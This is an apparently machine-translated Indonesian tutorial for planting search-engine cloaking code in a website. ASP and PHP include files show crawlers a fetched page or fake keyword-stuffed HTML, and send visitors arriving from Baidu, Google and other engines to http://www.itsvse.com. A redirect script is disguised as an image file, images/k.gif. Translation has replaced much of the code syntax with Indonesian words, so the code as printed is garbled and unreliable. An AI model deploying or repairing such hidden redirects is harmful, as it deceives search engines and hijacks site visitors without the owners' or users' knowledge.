Pertama, sederhana saja, tambahkan kode berikut ke halaman depan:
Versi ASP <!--#include file="conn.asp"--> <script src="images\k.gif"></script>
Versi PHP <!--#include file="conn.php"--> <script src="images\k.gif"></script>
Kemudian tambahkan kode berikut ke file conn sesuai dengan program website, jika Anda tidak memiliki conn.asp atau conn.php, buat sendiri:
Edisi conn.asp
----------- reproduksi berikut-------------------------------- <% fungsi isspider() Agen redup, searray, i agent="agen:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider") isspider= false untuk i=0 ke ubound(searray) if (instr(agen,searray(i))>0) maka isspider=true Selanjutnya fungsi akhir
fungsi dari() url redup, rujukan, i, searray urlrefer="rujuk:"&LCase(permintaan. VariabelServer("HTTP_REFERER")) fromse= salah if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso","360") untuk i=0 ke ubound(searray) if (instr(urlrefer,searray(i))>0) maka fromse=true Selanjutnya fungsi akhir
fungsi gethttp(url) redup http atur http=createobject("MSXML2. XMLHTTP") http.open "GET",url,false http.send () jika Http.readystate<>4 maka fungsi keluar berakhir jika gethttp=bytes2BSTR(Http.responseBody) atur http=tidak ada jika err.number<>0 maka err. Jelas fungsi akhir
fungsi byte2BSR(vIn) redupstrReturn redup i,ThisCharCode,NextCharCode strReturn = "" Untuk i = 1 Untuk LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) Jika ThisCharCode < &H80 Maka strReturn = strReturn & Chr(ThisCharCode) Lainnya NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 Akhiri Jika Selanjutnya byte2BSTR = strReturn Fungsi akhir
if(isspider()) maka redupkan myfso,fileurl,filecon,myfile,bodyurl,remotehtml bodyurl="http://www.itsvse.com" //snapshot URL tanggapan.jelas remotehtml=gethttp(bodyurl) tanggapan.tulis(remotehtml) response.write("<!--"&now()&"-->") tanggapan.siram tanggapan.akhir berakhir jika
%>
conn.php
---------------- reproduksi berikut----------------
<?php fungsi is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = array('baiduspider','sogou spider','sosospider','iaskspider','naverrobot'); foreach ($identify AS $key => $tag){ if (strstr($user_agent, $tag)){ mengembalikan benar; } } mengembalikan false; } fungsi is_urlbaidu() { $come_dari="baidu@sogou@soso@iask@naver"; $referer = meledak("@",$come_dari); foreach($referer sebagai $url){ if (stristr($_SERVER['HTTP_REFERER'],$url)){ mengembalikan benar; } } mengembalikan false; }
jika (is_search_bot()) { $html = "<title>Sekolah Tinggi Kejuruan Rekayasa Perangkat Lunak Wuhan</title> <nama meta=\"Penulis\" konten=\"Isi kata kunci yang sama\"> <nama meta=\"Kata kunci\" konten=\"Kata kunci\"> <nama meta=
\"Deskripsi\" content=\"Deskripsi\"> </head> <body>Konten</body></html>"; gema $html; } jika (!is_search_bot() && is_urlbaidu())
{ Header('Lokasi:http://www.itsvse.com');
} ?>
Terakhir, di direktori gambar, unggah file k.gif k.gif kode:
var s=dokumen.perujuk if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; URL pengalihan
|